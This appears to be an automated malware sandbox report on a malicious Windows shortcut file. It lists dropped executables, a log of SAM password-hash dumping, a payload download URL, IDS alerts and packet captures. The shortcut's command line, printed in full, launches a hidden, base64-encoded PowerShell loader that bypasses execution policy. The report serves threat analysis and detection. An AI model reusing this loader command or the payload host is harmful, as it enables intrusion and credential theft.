Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_ydyyage0.vs5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\deviceId.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	37
Entropy (8bit):	4.229327351940021
Encrypted:	false
SSDEEP:	3:4yHbkT/dkcovn:dbkRsn
MD5:	17D74848A2AABEDAF9A3BF09D7CF3A2B
SHA1:	056C4F9329C07DD7A3414257E1D77D41D4C402C5
SHA-256:	AEF31441A868B517503CE23E6D663969A50CAC256CA3311CCD17EE1AE11D5C26
SHA-512:	8A0C39EACAEA374E904A931F97D8C32C1BABCB47763195979D93AEA366624B304F6B0B25CB8CBFDE5B56AA129CFC9B51B3BAA697149295A103A53D9E5139E580
Malicious:	false
Preview:	.63013372F6575A9D4EA29CB608798ED9..

C:\Windows\Temp\docsz

Download File

Process:	C:\Windows\Temp\myRdpService.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	271
Entropy (8bit):	4.959233174821663
Encrypted:	false
SSDEEP:	6:IwRJBYzRJBYlr8SJBY4U4GVjWIUE5dMnpqX:I8sRs8SD8jW3EvMpo
MD5:	09B25CAC0BFA90484337CCC8EF9DCD60
SHA1:	1BBF4858E3266F1E6B89B8A0A3D567CB2A30FA4A
SHA-256:	53DCA461E84E00AF9900DC80A07421B8BCF309D5A046A6317166315ED6FD1C49
SHA-512:	A5B08D0A86DFDE44A20C7454532705B24E9A065F43A9CC3F0B67841673B769CBF969A82BF464935B5AB3D8550D25FE17FBA56A259D06757F1783A52FCE090B65
Malicious:	false
Preview:	Administrator\|31d6cfe0d16ae931b73c59d7e0c089c0..Guest\|31d6cfe0d16ae931b73c59d7e0c089c0..DefaultAccount\|31d6cfe0d16ae931b73c59d7e0c089c0..WDAGUtilityAccount\|21A354058DFF20F7943C42B0FDF94216..user\|32ED87BDB5FDC5E9CBA88547376818D4..User1\|9D40E39ADEB5D56955BED3470DA6D02C..

C:\Windows\Temp\dp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.7179360295889174
Encrypted:	false
SSDEEP:	3:QnlVldGlVlil:QdUu
MD5:	A6850FB0659A548ACF3B99814BF23C93
SHA1:	690D23F93EEA833EB4D5B8D20F3938E25E64BB72
SHA-256:	38961B38E6AFD73A897F43E7513755EAE09B9605AB97E698F2201665F4CF96DB
SHA-512:	DD61B6C972655AEFD3BFA5BA493476644071354EA482F224FEB2F5BC0992B6DC59CB7918F0F41139B0D4E73848850A8070DB82BB0DC4915999E33CCA22FAA37E
Malicious:	false
Preview:	..1.9.2.0.x.1.0.8.0.....

C:\Windows\Temp\file

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8357376
Entropy (8bit):	6.871261170959167
Encrypted:	false
SSDEEP:	98304:QItEWBowFOHzb0sg6jsDNg4WNbpsDFnoDhno/S1w8s/I:QItDBowFOTbk6mNWNbpYtej1w8s/I
MD5:	E6C9E4ABDC9BACE6F54B1ED41622F54F
SHA1:	7FD64CA2D9718F31F05692279F428CB7B8EFF8C6
SHA-256:	2D285378BB1F24AA547EDB806FA18137127882F46EA1A3FA466F2645520233F1
SHA-512:	F1245224972CE79505D184DDE00A94B33D5FD12500A84C31A620BD208DA5913DD09AEC131F9C6A0E4F295F0F04FF9284667408DE209C3B552F25527FC90837FB
Malicious:	false
Preview:	L[......................A............................................... ..M. Uihr!qsnfs`l!b`oonu!cd!sto!ho!ENR!lned/...%.........v...................._...............Z.......Z...............Z.......[.......[......Shbi............QD..e.....Yf..........#....(..F..Q8...............A..........................................a..........................................A..Y...YA..U....a.......................q..................................)...q...A............!^............................./udyu...y&.......)..................!..a/l`o`fde..:..A....:..-..............!..aixes`udey.....I........................./se`u`..MF3..!^..I3...F.............A..A/e`u`........q...o...1{.............A.../qe`u`................{.............A..A/srsb........a.......o~.............A..A/sdmnb.......q.......u~.............A..C........................................................................................................................................................................................

C:\Windows\Temp\log_rdp_11122024_06.txt

Download File

Process:	C:\Windows\Temp\myRdpService.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	872
Entropy (8bit):	5.308684518162652
Encrypted:	false
SSDEEP:	24:E5IHl70WgoQrrFtcV/DPPCuY/1B81aggLxJwXBn2:E5Oco4f9AxGfOt2
MD5:	56477E02077830CEED78E5069B48AB36
SHA1:	A95B31659AC1632DD19FF5C245949BE190C1719D
SHA-256:	A498B294CDB7B14D698B8B9E5AD5942FA2C0A6EF608E4212825DCD2C15A0EA2F
SHA-512:	05B055C9109B9F63C1ED90956F28B1297156B66DDB9F9030FCD150B98969694AA0AC2B581CBB610CABB92FDF763E4441399FC5B5EADD8B0E0F2B4886703C3FCE
Malicious:	false
Preview:	18:45:48 - Internet connection..18:45:48 - Begin check server..18:45:54 - Begin connect..18:45:59 - BootKey: D6-AA-4D-99-DC-41-86-C3-63-A1-2C-89-7F-F8-5B-85..18:45:59 - Successfully accessed SAM hive...18:45:59 - Reading usernames and encrypted hashes.....18:45:59 - Administrator..18:45:59 - Guest..18:45:59 - DefaultAccount..18:45:59 - WDAGUtilityAccount..18:45:59 - user..18:45:59 - User1..18:45:59 - SAM_Resolution_1920x1080..18:45:59 - SAM_USER_Administrator\|31d6cfe0d16ae931b73c59d7e0c089c0..18:46:00 - SAM_USER_Guest\|31d6cfe0d16ae931b73c59d7e0c089c0..18:46:00 - SAM_USER_DefaultAccount\|31d6cfe0d16ae931b73c59d7e0c089c0..18:46:01 - SAM_USER_WDAGUtilityAccount\|21A354058DFF20F7943C42B0FDF94216..18:46:01 - SAM_USER_user\|32ED87BDB5FDC5E9CBA88547376818D4..18:46:02 - SAM_USER_User1\|9D40E39ADEB5D56955BED3470DA6D02C..18:46:19 - detect message PING..18:46:20 - PING..

C:\Windows\Temp\myRdpService.exe

Download File

Process:	C:\Windows\Temp\svczHost.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	9429504
Entropy (8bit):	6.889775220697302
Encrypted:	false
SSDEEP:	98304:mfhsbOItDNUaBVthhcT/Fe5Yqa5z1bRT6G0EYd+Tj:HbO8N9BH4ToYqopbRT6GLpj
MD5:	5641F3A5B9787F23D3D34F0D9F791B7A
SHA1:	021867C55B5724C28981F58A9A38DBE298057793
SHA-256:	5744321DFC2240023EF89A8D3A4B57C635FEDFEF0E265F1C8F7971AA9F635C34
SHA-512:	3E96E1675C96A0CEAD3E7294128CB742D7813F65AB55F907D0F447B966BCD086FB533D25D710E9F9CC5C1781D1819C2F2C86DEBBD94A6A901C9A49AB30430E7B
Malicious:	true
Joe Sandbox View:	Filename: WXahq3ZEss.lnk, Detection: malicious, Browse Filename: 0A3NB8ot11.lnk, Detection: malicious, Browse Filename: rRtGI3L0ca.lnk, Detection: malicious, Browse Filename: L0jeOoavu4.lnk, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........6 ..Xs..Xs..Xs...s..Xs..Yr..Xs..Ys,.Xs..[r..Xs..\r..Xs..]r..Xs..\r..Xs..Xs..Xs..]r.Xs..Xr..Xs..Zr..XsRich..Xs................PE..d.....Xg.........."....).>P...A................@.............................@............`...................................................\|............................ ..L...............................(...P...@.............l..............................text....G.......H.................. ..`.managedX.C..`....C..L.............. ..`hydrated`....`P..........................rdata..`t9...l..v9..BP.............@..@.data....x..........................@....pdata...............>..............@..@.rsrc..............................@..@.reloc..L.... .....................@..B................................................................................................................................................................

C:\Windows\Temp\regBackup.reg

Download File

Process:	C:\Windows\regedit.exe
File Type:	Windows Registry little-endian text (Win2K or above)
Category:	dropped
Size (bytes):	5492
Entropy (8bit):	3.2564408602149646
Encrypted:	false
SSDEEP:	96:0PVJqMXWMRUYSFd5YtU6W66zpVwkP9Odgd8zkFJdlzOkJdB0u1Jd8ui4c4d8zB/H:sVJqgUZ/5+g7P94RgFx9R43Zy1TbZH56
MD5:	A766DECEF71813234AAF41DB4EF5086E
SHA1:	564473B1CB74ED13E820C62F30642836B8D983C6
SHA-256:	8CA780CD4F6488CBBB1B6999D935B4F8352B36B3E2E1E54301875C6483A87535
SHA-512:	C3CF7BADAD40C63C0479DD7A50762968038A9D402E8AE34697F30D09E206D5D090270013504B801EECB82D234280535E21629A6F23F1F04CE1CF2D3EF0C37051
Malicious:	true
Preview:	..W.i.n.d.o.w.s. .R.e.g.i.s.t.r.y. .E.d.i.t.o.r. .V.e.r.s.i.o.n. .5...0.0.........[.H.K.E.Y._.L.O.C.A.L._.M.A.C.H.I.N.E.\.S.Y.S.T.E.M.\.C.u.r.r.e.n.t.C.o.n.t.r.o.l.S.e.t.\.S.e.r.v.i.c.e.s.\.T.e.r.m.S.e.r.v.i.c.e.].....".D.e.p.e.n.d.O.n.S.e.r.v.i.c.e.".=.h.e.x.(.7.).:.5.2.,.0.0.,.5.0.,.0.0.,.4.3.,.0.0.,.5.3.,.0.0.,.5.3.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.....".D.e.s.c.r.i.p.t.i.o.n.".=.".@.%.S.y.s.t.e.m.R.o.o.t.%.\.\.S.y.s.t.e.m.3.2.\.\.t.e.r.m.s.r.v...d.l.l.,.-.2.6.7.".....".D.i.s.p.l.a.y.N.a.m.e.".=.".@.%.S.y.s.t.e.m.R.o.o.t.%.\.\.S.y.s.t.e.m.3.2.\.\.t.e.r.m.s.r.v...d.l.l.,.-.2.6.8.".....".E.r.r.o.r.C.o.n.t.r.o.l.".=.d.w.o.r.d.:.0.0.0.0.0.0.0.1.....".F.a.i.l.u.r.e.A.c.t.i.o.n.s.".=.h.e.x.:.8.0.,.5.1.,.0.1.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.3.,.0.0.,.0.0.,.0.0.,.1.4.,.0.0.,.0.0.,.\..... . .0.0.,.0.1.,.0.0.,.0.0.,.0.0.,.6.0.,.e.a.,.0.0.,.0.0.,.0.1.,.0.0.,.0.0.,.0.0.,.6.0.,.e.a.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.6.0.,.e.a.,.0.0.,.0.0.....".I.m.a.g.e.P.a.t.h.".=.h.e.x.

C:\Windows\Temp\svczHost.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	8357376
Entropy (8bit):	6.871261170959167
Encrypted:	false
SSDEEP:	49152:gAolapw+tVy4CZ79cORdCVhYWXnMdI7pz1YoSBrIc7ywciqQMmLdp1sVOFJHluxx:pgacEZyBpu9r/derR2hs/OLYGMIU9+
MD5:	9298A0077E8353244A38CAEFE43AF4CB
SHA1:	155D0C93E1BA7DD7B22228BEC1A030FAE0678398
SHA-256:	B1D69CBC0A2D13B89500D37726AD9E01817C8890262E3CE4A561F82B63708B9A
SHA-512:	34CD8853EEBD3E54393726DF668D5F620EE6AC0FD5967F91A26B2E5F4186CB403A2197D9DE497CB93B3498EBC0E2DF098D122376E0276A15F1D412C7D874D87A
Malicious:	true
Joe Sandbox View:	Filename: WXahq3ZEss.lnk, Detection: malicious, Browse Filename: 0A3NB8ot11.lnk, Detection: malicious, Browse Filename: rRtGI3L0ca.lnk, Detection: malicious, Browse Filename: L0jeOoavu4.lnk, Detection: malicious, Browse Filename: MdmRznA6gx.lnk, Detection: malicious, Browse Filename: Cj3OWJHzls.lnk, Detection: malicious, Browse Filename: 3y37oMIUy6.lnk, Detection: malicious, Browse Filename: WXahq3ZEss.lnk, Detection: malicious, Browse Filename: 0A3NB8ot11.lnk, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w....................^...............[.......[...............[.......Z.......Z......Rich............PE..d.....Xg.........."....)..G..P9...............@..........................................`..........................................@..X...X@..T....`.......................p..................................(...p...@............ _..............................text...x'.......(.................. ..`.managed..;..@....;..,.............. ..`hydratedx.....H..........................rdata..LG2.. _..H2...G.............@..@.data........p...n...0z.............@....pdata................z.............@..@.rsrc........`.......n..............@..@.reloc.......p.......t..............@..B........................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Windows\Temp\svczHost.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	64
Entropy (8bit):	4.498593025747649
Encrypted:	false
SSDEEP:	3:eDLpHWfPdBEyQOKxxTyy:eDLp2f0yQdTyy
MD5:	D49789C5828170A47AB323DB3A9020CB
SHA1:	AB47FF6129E00826FDA7EB82046E24064A0B0B11
SHA-256:	4C47AE82F26AF0CD1A6F60B9A40FCFECE1521A36080277277186EEAADB1987B0
SHA-512:	7696D742FC4DA5B6A3FBCFBADE405D898D47A2D8B947C4093D81F0AD9C323FCCB6790FD7CD11EF77E9CE5402C8320EA40E917DFCEDF9D0D70A0A3558E39E51AB
Malicious:	false
Preview:	Begin download https://cocomethode.de/StaticFile/RdpService/38..

Static File Info

General

File type:	MS Windows shortcut, Item id list present, Has Relative path, Has command line arguments, Icon number=341, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Entropy (8bit):	2.7155412500408276
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	m9c7iq9nzP.lnk
File size:	5'576 bytes
MD5:	5a82981b8efc6b7947269d2fd544ce88
SHA1:	55efb0ab3772de1ff53eca9e11b164924a071787
SHA256:	1e186d774a1348a9d4aca53e2045901c8a882422293cdf20fd2a8bcaaa6c7818
SHA512:	a176dc37026879ef0f9d3de7e5731765ee2a89f791b259d2ebf014af4635f9b35847cd5feb2cd7405e6323b6afa7fd64a30d2e9e49e44148a57e62c37f9220ad
SSDEEP:	96:8ucL8rlMvomw/mheGqIz2lE5hgcZFLWjGRx4RpUAOh2Q:8uS8rlMvomnBLYRrOX
TLSH:	ACB1320269EB00D8E1A747311FDCF9FF477AF4122A2E7AB51140C7818B35784DA62EB9
File Content Preview:	L..................F.B..................................U...................5....P.O. .:i.....+00.../C:\...................V.1...........Windows.@.............................................W.i.n.d.o.w.s.....Z.1...........system32..B.....................

File Icon


Icon Hash:	69e9a9a9a3a3a1a5

Static Windows Shortcut Info

General
Relative Path:	..\..\..\..\..\..\Windows\system32\cmd.exe
Command Line Argument:	/v /k "powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="" && exit
Icon location:	%SystemRoot%\System32\imageres.dll

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-11T12:44:04.066583+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.20	49740	172.67.128.139	443	TCP
2024-12-11T12:44:06.157234+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.20	49742	172.67.128.139	443	TCP
2024-12-11T12:44:08.106440+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.20	49744	172.67.128.139	443	TCP
2024-12-11T12:44:30.593982+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.20	49757	172.67.128.139	443	TCP
2024-12-11T12:45:35.678136+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.11.20	49763	172.67.128.139	443	TCP
2024-12-11T12:46:30.670235+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.11.20	49768	172.67.128.139	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 11, 2024 12:44:00.471029997 CET	49739	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:00.471052885 CET	443	49739	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:00.471204042 CET	49739	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:00.482184887 CET	49739	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:00.482192993 CET	443	49739	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:00.719695091 CET	443	49739	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:00.720419884 CET	49739	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:00.724208117 CET	49739	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:00.724216938 CET	443	49739	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:00.724405050 CET	443	49739	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:00.729641914 CET	49739	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:00.770204067 CET	443	49739	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:01.574531078 CET	443	49739	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:01.574561119 CET	443	49739	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:01.574594975 CET	443	49739	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:01.574794054 CET	443	49739	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:01.574850082 CET	49739	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:01.574860096 CET	443	49739	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:01.575002909 CET	49739	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:01.619754076 CET	49739	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:01.815722942 CET	443	49739	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:01.815821886 CET	443	49739	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:01.816085100 CET	49739	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:01.822499990 CET	49739	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:02.960325956 CET	49740	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:02.960345030 CET	443	49740	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:02.960527897 CET	49740	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:02.960757971 CET	49740	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:02.960767984 CET	443	49740	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:03.193330050 CET	443	49740	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:03.194478035 CET	49740	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:03.194488049 CET	443	49740	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:04.066561937 CET	443	49740	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:04.066607952 CET	443	49740	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:04.066632986 CET	443	49740	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:04.066683054 CET	443	49740	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:04.066839933 CET	49740	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:04.067029953 CET	49740	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:04.077671051 CET	49740	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:04.189393044 CET	49741	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:04.189413071 CET	443	49741	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:04.189613104 CET	49741	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:04.189804077 CET	49741	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:04.189815044 CET	443	49741	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:04.423765898 CET	443	49741	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:04.425426960 CET	49741	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:04.425440073 CET	443	49741	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:04.425621033 CET	49741	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:04.425632000 CET	443	49741	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:05.054932117 CET	443	49741	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:05.055038929 CET	443	49741	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:05.055298090 CET	49741	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:05.055517912 CET	49741	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:05.084594965 CET	49742	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:05.084605932 CET	443	49742	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:05.084767103 CET	49742	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:05.085067987 CET	49742	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:05.085072041 CET	443	49742	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:05.319113970 CET	443	49742	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:05.320621014 CET	49742	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:05.320635080 CET	443	49742	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:06.157236099 CET	443	49742	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:06.157450914 CET	443	49742	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:06.157491922 CET	443	49742	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:06.157568932 CET	443	49742	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:06.157696962 CET	49742	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:06.157749891 CET	49742	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:06.171940088 CET	49742	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:06.191580057 CET	49743	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:06.191591024 CET	443	49743	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:06.191761971 CET	49743	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:06.191984892 CET	49743	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:06.191989899 CET	443	49743	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:06.424904108 CET	443	49743	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:06.425730944 CET	49743	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:06.425736904 CET	443	49743	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:06.425977945 CET	49743	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:06.425981998 CET	443	49743	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:07.005120039 CET	443	49743	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:07.005153894 CET	443	49743	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:07.005470991 CET	49743	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:07.005561113 CET	49743	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:07.021776915 CET	49744	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:07.021795034 CET	443	49744	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:07.021971941 CET	49744	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:07.022196054 CET	49744	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:07.022209883 CET	443	49744	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:07.255198002 CET	443	49744	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:07.256383896 CET	49744	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:07.256393909 CET	443	49744	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:08.106420040 CET	443	49744	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:08.106465101 CET	443	49744	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:08.106525898 CET	443	49744	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:08.106585979 CET	443	49744	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:08.106633902 CET	49744	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:08.106647015 CET	443	49744	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:08.106790066 CET	49744	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:08.149612904 CET	49744	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:08.344155073 CET	443	49744	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:08.344388008 CET	443	49744	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:08.344625950 CET	49744	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:08.344640970 CET	443	49744	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:08.344687939 CET	443	49744	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:08.344892979 CET	443	49744	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:08.344907999 CET	49744	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:08.344913006 CET	443	49744	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:08.344918966 CET	443	49744	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:08.345376015 CET	443	49744	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:08.345410109 CET	49744	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:08.345423937 CET	443	49744	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:08.345577955 CET	49744	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:08.582448959 CET	443	49744	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:08.582735062 CET	443	49744	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:08.582897902 CET	49744	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:08.582916975 CET	443	49744	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:08.583009958 CET	443	49744	172.67.128.139	192.168.11.20
